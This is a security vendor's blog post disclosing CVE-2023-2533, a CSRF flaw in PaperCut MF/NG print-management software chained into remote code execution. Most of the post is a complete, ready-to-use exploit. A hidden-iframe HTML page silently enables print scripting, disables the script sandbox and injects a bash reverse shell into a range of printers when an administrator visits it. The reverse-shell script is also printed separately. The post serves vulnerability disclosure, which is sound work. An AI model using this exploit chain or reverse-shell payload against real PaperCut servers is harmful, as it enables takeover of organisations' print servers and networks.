RCE in PaperCut MF/NG via CSRF

What is invisible to some hackers is visible to others

Blog RCE in PaperCut MF/NG via CSRF

| 10 min read

Contact us

Lately, several critical-severity vulnerabilities have been reported in PaperCut, a software widely used by companies to manage their network printers. So, determined not to be left behind and, of course, brimming with curiosity, I decided to venture into this software to see what I could find.

After almost two weeks of research, I managed to detect a CSRF in the core of that application, which, after being cleverly exploited, allowed me to reach a remote code execution (RCE). Below, I will explain in detail this security issue labeled as CVE-2023-2533.

Where is this vulnerability?

When I tried to perform a CSRF attack on the application, I noticed that some requests had an Anti-CSRF token and some did not. However, the backend was analyzing the origin header to know whether a request was cross-origin or not. This seemed impossible to hack. However, I came up with the idea to change the request from POST to GET, and guess what...? It worked. We can now perform CSRF attacks on some application endpoints (those that don't have an Anti-CSRF token).

Analyzing the administrative interface

We already know we can persuade users to perform malicious actions from their sessions. However, in this case, what malicious actions are we going to request from the victim, and what permissions does the victim have? A clear target is the instance administrator. So, I dedicated myself to analyzing in depth the functionalities available to such a user.

Before starting the audit, I had read a Horizon3 paper regarding CVE-2023-27350. In it, I found that they had achieved remote code execution through print scripting. So, the latest version of PaperCut was v20.0.10, in which some additional security measures were taken regarding print scripting.

On the one hand, the possibility of using print scripting and device scripting was disabled by default:

print-and-device.script.enabled => N

On the other hand, using a sandbox for print scripting and device scripting was enabled by default. The use of a sandbox makes it impossible to use Java classes in scripts and does not allow us to execute server-side commands:

print.script.sandboxed => Y device.script.sandboxed => Y

Fortunately, the requests to change the system configuration (to enable scripting and disable the sandbox) and the request to upload the print script did not have an Anti-CSRF token. Therefore, with the CSRF I had, I was able to do all these requests without any problem.

Finally, I needed to see how to execute commands through print scripts. After a few minutes, I discovered that the following script gave me a reverse shell:

function printJobHook(inputs, actions) { with (new JavaImporter(java.lang)) { var processBuilder = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/localhost/7777 0>&1");
    var process = processBuilder.start();

Talking about problems

While writing the exploit, I noticed the requests to change the system configuration were a bit strange. To better understand what I'm going to explain, I'll show you what the configuration editor looks like:

First image - PaperCut

Second image - PaperCut

As you can see in the first image, there's a pagination on the right side when the search field is empty. But, as shown in the second image, the pagination disappears when the search field is not empty. Developing a script to interact with a site would typically be pretty straightforward. Still, the PaperCut web application uses dynamic form fields based on the last request, complicating the process somewhat.

The solution was to send a request with an empty search field to retrieve the pagination. Then, I had to send another request indicating the page I wanted to visit and, afterward, the settings I desired to edit.


The previous paragraph may be puzzling. That's why I wrote the exploit as clearly as possible so that you can understand the solution when you read it.

Get started with Fluid Attacks' Ethical Hacking solution right now


<!DOCTYPE html> <html> <body> <script> //Reset the configuration editor search field const resetSearchField = 'http://localhost:9191/app?service=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=&doQuickFind=Continuar'; //Set Page 21 const setPage21 = 'http://localhost:9191/app?service=direct/1/ConfigEditor/table.tablePages.linkPage&sp=AConfigEditor%2Ftable.tableView&sp=21'; //Enable Print Script (print-and-device.script.enabled -> Y) const enablePrintScript = 'http://localhost:9191/app?service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240%2C%24TextField%240%240%2C%24Submit%241%2C%24Submit%240%240%2C%24TextField%240%241%2C%24Submit%242%2C%24Submit%240%241%2C%24TextField%240%242%2C%24Submit%243%2C%24Submit%240%242%2C%24TextField%240%243%2C%24Submit%244%2C%24Submit%240%243%2C%24TextField%240%244%2C%24Submit%245%2C%24Submit%240%244%2C%24TextField%240%245%2C%24Submit%246%2C%24Submit%240%245%2C%24TextField%240%246%2C%24Submit%247%2C%24Submit%240%246%2C%24TextField%240%247%2C%24Submit%248%2C%24Submit%240%247%2C%24TextField%240%248%2C%24Submit%249%2C%24Submit%240%248%2C%24MaskedTextField%2C%24Submit%2410%2C%24Submit%240%249%2C%24TextField%240%249%2C%24Submit%2411%2C%24Submit%240%2410%2C%24TextField%240%2410%2C%24Submit%2412%2C%24Submit%240%2411%2C%24TextField%240%2411%2C%24Submit%2413%2C%24Submit%240%2412%2C%24TextField%240%2412%2C%24Submit%2414%2C%24Submit%240%2413%2C%24TextField%240%2413%2C%24Submit%2415%2C%24Submit%240%2414%2C%24TextField%240%2414%2C%24Submit%2416%2C%24Submit%240%2415%2C%24TextField%240%2415%2C%24Submit%2417%2C%24Submit%240%2416%2C%24TextField%240%2416%2C%24Submit%2418%2C%24Submit%240%2417%2C%24TextField%240%2417%2C%24Submit%2419%2C%24Submit%240%2418%2C%24TextField%240%2418%2C%24Submit%2420%2C%24Submit%240%2419%2C%24TextField%240%2419%2C%24Submit%2421%2C%24Submit%240%2420%2C%24TextField%240%2420%2C%24Submit%2422%2C%24Submit%240%2421%2C%24TextField%240%2421%2C%24Submit%2423%2C%24Submit%240%2422&%24TextField%240=Failed+to+send+your+scanned+fax+document&%24TextField%240%240=Y&%24TextField%240%241=Your+scanned+document+is+too+big%3A%25files%25You+can+try+reducing+the+scanned+document+size+by+using+a+lower+resolution%2C+or+switching+color+mode+to+grayscale+or+black+and+white.+Alternatively%2C+you+can+try+splitting+your+job.If+you+need+to+send+a+larger+scanned+document%2C+please+contact+your+system+administrator.&%24TextField%240%242=Y&%24TextField%240%243=Y&%24TextField%240%244=Failed+to+send+your+scanned+document&%24TextField%240%245=300&%24TextField%240%246=N&%24TextField%240%247=N&%24TextField%240%248=NONE&%24MaskedTextField=&%24TextField%240%249=25&%24TextField%240%2410=DEFAULT&%24TextField%240%2411=&%24TextField%240%2412=&%24TextField%240%2413=Y&%24TextField%240%2414=N&%24TextField%240%2415=&%24TextField%240%2416=0&%24TextField%240%2417=N&%24TextField%240%2418=Y&%24Submit%2420=Actualizar&%24TextField%240%2419=30&%24TextField%240%2420=&%24TextField%240%2421='; //Set Page 22 const setPage22 = 'http://localhost:9191/app?service=direct/1/ConfigEditor/table.tablePages.linkPage&sp=AConfigEditor%2Ftable.tableView&sp=22'; //Disable Print Script Sandbox (print.script.sandboxed -> N) const disableSandbox = 'http://localhost:9191/app?service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240%2C%24TextField%240%240%2C%24Submit%241%2C%24Submit%240%240%2C%24TextField%240%241%2C%24Submit%242%2C%24Submit%240%241%2C%24TextField%240%242%2C%24Submit%243%2C%24Submit%240%242%2C%24TextField%240%243%2C%24Submit%244%2C%24Submit%240%243%2C%24TextField%240%244%2C%24Submit%245%2C%24Submit%240%244%2C%24TextField%240%245%2C%24Submit%246%2C%24Submit%240%245%2C%24TextField%240%246%2C%24Submit%247%2C%24Submit%240%246%2C%24TextField%240%247%2C%24Submit%248%2C%24Submit%240%247%2C%24TextField%240%248%2C%24Submit%249%2C%24Submit%240%248%2C%24TextField%240%249%2C%24Submit%2410%2C%24Submit%240%249%2C%24TextField%240%2410%2C%24Submit%2411%2C%24Submit%240%2410%2C%24TextField%240%2411%2C%24Submit%2412%2C%24Submit%240%2411%2C%24TextField%240%2412%2C%24Submit%2413%2C%24Submit%240%2412%2C%24TextField%240%2413%2C%24Submit%2414%2C%24Submit%240%2413%2C%24TextField%240%2414%2C%24Submit%2415%2C%24Submit%240%2414%2C%24TextField%240%2415%2C%24Submit%2416%2C%24Submit%240%2415%2C%24TextField%240%2416%2C%24Submit%2417%2C%24Submit%240%2416%2C%24TextField%240%2417%2C%24Submit%2418%2C%24Submit%240%2417%2C%24TextField%240%2418%2C%24Submit%2419%2C%24Submit%240%2418%2C%24TextField%240%2419%2C%24Submit%2420%2C%24Submit%240%2419%2C%24TextField%240%2420%2C%24Submit%2421%2C%24Submit%240%2420%2C%24TextField%240%2421%2C%24Submit%2422%2C%24Submit%240%2421%2C%24TextField%240%2422%2C%24Submit%2423%2C%24Submit%240%2422%2C%24TextField%240%2423%2C%24Submit%2424%2C%24Submit%240%2423&%24TextField%240=DEFAULT&%24TextField%240%240=Y&%24TextField%240%241=DEFAULT&%24TextField%240%242=DEFAULT&%24TextField%240%243=Y&%24TextField%240%244=1440&%24TextField%240%245=&%24TextField%240%246=-1&%24TextField%240%247=40&%24TextField%240%248=20&%24TextField%240%249=2&%24TextField%240%2410=-1&%24TextField%240%2411=3.0&%24TextField%240%2412=DEFAULT&%24TextField%240%2413=DEFAULT&%24TextField%240%2414=-1&%24TextField%240%2415=N&%24Submit%2416=Actualizar&%24TextField%240%2416=0&%24TextField%240%2417=&%24TextField%240%2418=N&%24TextField%240%2419=1683262800000%2C0.0&%24TextField%240%2420=1683262800000%2C1&%24TextField%240%2421=1683262800000%2C1&%24TextField%240%2422=1683262800000%2C1&%24TextField%240%2423=1683262800000%2C1'; //Inject Shell in PaperCut MF/NG var injectShell = 'http://localhost:9191/app?service=direct%2F1%2FPrinterDetails%2F%24PrinterDetailsScript.%24Form&sp=S0&Form0=printerId%2CenablePrintScript%2CscriptBody%2C%24Submit%2C%24Submit%240%2C%24Submit%241&printerId=PRINTERID&enablePrintScript=on&scriptBody=function+printJobHook%28inputs%2C+actions%29+%7B%0D%0A++with+%28new+JavaImporter%28java.lang%29%29+%7B%0D%0A++++var+processBuilder+%3D+new+ProcessBuilder%28%22bash%22%2C+%22-c%22%2C+%22%24%40%7C+bash+-i+%3E%26+%2Fdev%2Ftcp%2Flocalhost%2F7777+0%3E%261%22%29%3B%0D%0A++++var+process+%3D+processBuilder.start%28%29%3B%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0A&%24Submit%241=Aplicar'; async function loadIframes() { await loadIframe(resetSearchField); await sleep(1000); await loadIframe(setPage21); await sleep(1000); await loadIframe(enablePrintScript); await sleep(1000); await loadIframe(setPage22); await sleep(1000); await loadIframe(disableSandbox); await sleep(1000); for (let printer_id = 1002; printer_id <= 1024; printer_id++) { //It is not necessary to prefix the letter "l" in the post application injectShell = injectShell.replace("PRINTERID", printer_id) await loadIframe(injectShell); } function loadIframe(url) { return new Promise((resolve) => { const iframe = document.createElement('iframe'); iframe.src = url; iframe.style.display = 'none'; iframe.onload = () => { resolve(); }; document.body.appendChild(iframe); }); } function sleep(ms) { return new Promise((resolve) => setTimeout(resolve, ms)); } } loadIframes(); </script> </body> </html>

The previous exploit performs several CSRF attacks:

  1. Clears the configuration editor search field
  2. Moves the user to page 21
  3. Enables print script on the server
  4. Moves the user to page 22
  5. Disables the sandbox for print script
  6. Injects the reverse shell into the scripting section of the first 22 printers on the network, whether or not they exist. This increases the chance that a user will print a document to an infected printer and thus trigger the reverse shell. Organizations often have many printers on their network, so reducing the possibility of a user printing a document to an uninfected printer is a good idea.

Since CSRF is GET-based, several hidden iframes can be used to perform all the necessary authenticated CSRF attacks from the same HTML page. This is great, isn't it?


Given the above, if an administrator visits a malicious page, this will enable the print script and disable the sandbox for the print script, making it possible for an attacker to set up a script that uses Java classes to execute system commands.


A simple bug can trigger devastating consequences, such as remote code execution on a server. The case presented in this post is a clear example of how a sufficiently creative exploit can elevate the impact and criticality of a vulnerability: a CSRF was turned into a 1-click RCE.

At Fluid Attacks, we continuously search for security vulnerabilities in software. You can secure your applications by starting the 21-day free trial of our automated security testing. Upgrade at any time to include assessments by our team of ethical hackers.

Subscribe to our blog

Sign up for Fluid Attacks' weekly newsletter.

Recommended blog posts

You might be interested in the following related posts.

Photo by Christian Wiediger on Unsplash

The need to enhance security within the fintech sector

Photo by Claudio Schwarz on Unsplash

Is your financial service as secure as you think?

Photo by mitchell kavan on Unsplash

Bringing the zero trust model to life

Photo by Brian Kelly on Unsplash

We need you, but we can't give you any money

Photo by Sean Pollock on Unsplash

Data breaches that left their mark on time

Photo by Roy Muz on Unsplash

Lessons learned from black swans

Photo by Florian Schmetz on Unsplash

The best offense is a good defense

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which hundreds of organizations are already enjoying.

Start your 21-day free trial
Fluid Logo Footer

Hacking software for over 20 years

Fluid Attacks tests applications and other systems, covering all software development stages. Our team assists clients in quickly identifying and managing vulnerabilities to reduce the risk of incidents and deploy secure technology.

Copyright © 0 Fluid Attacks. We hack your software. All rights reserved.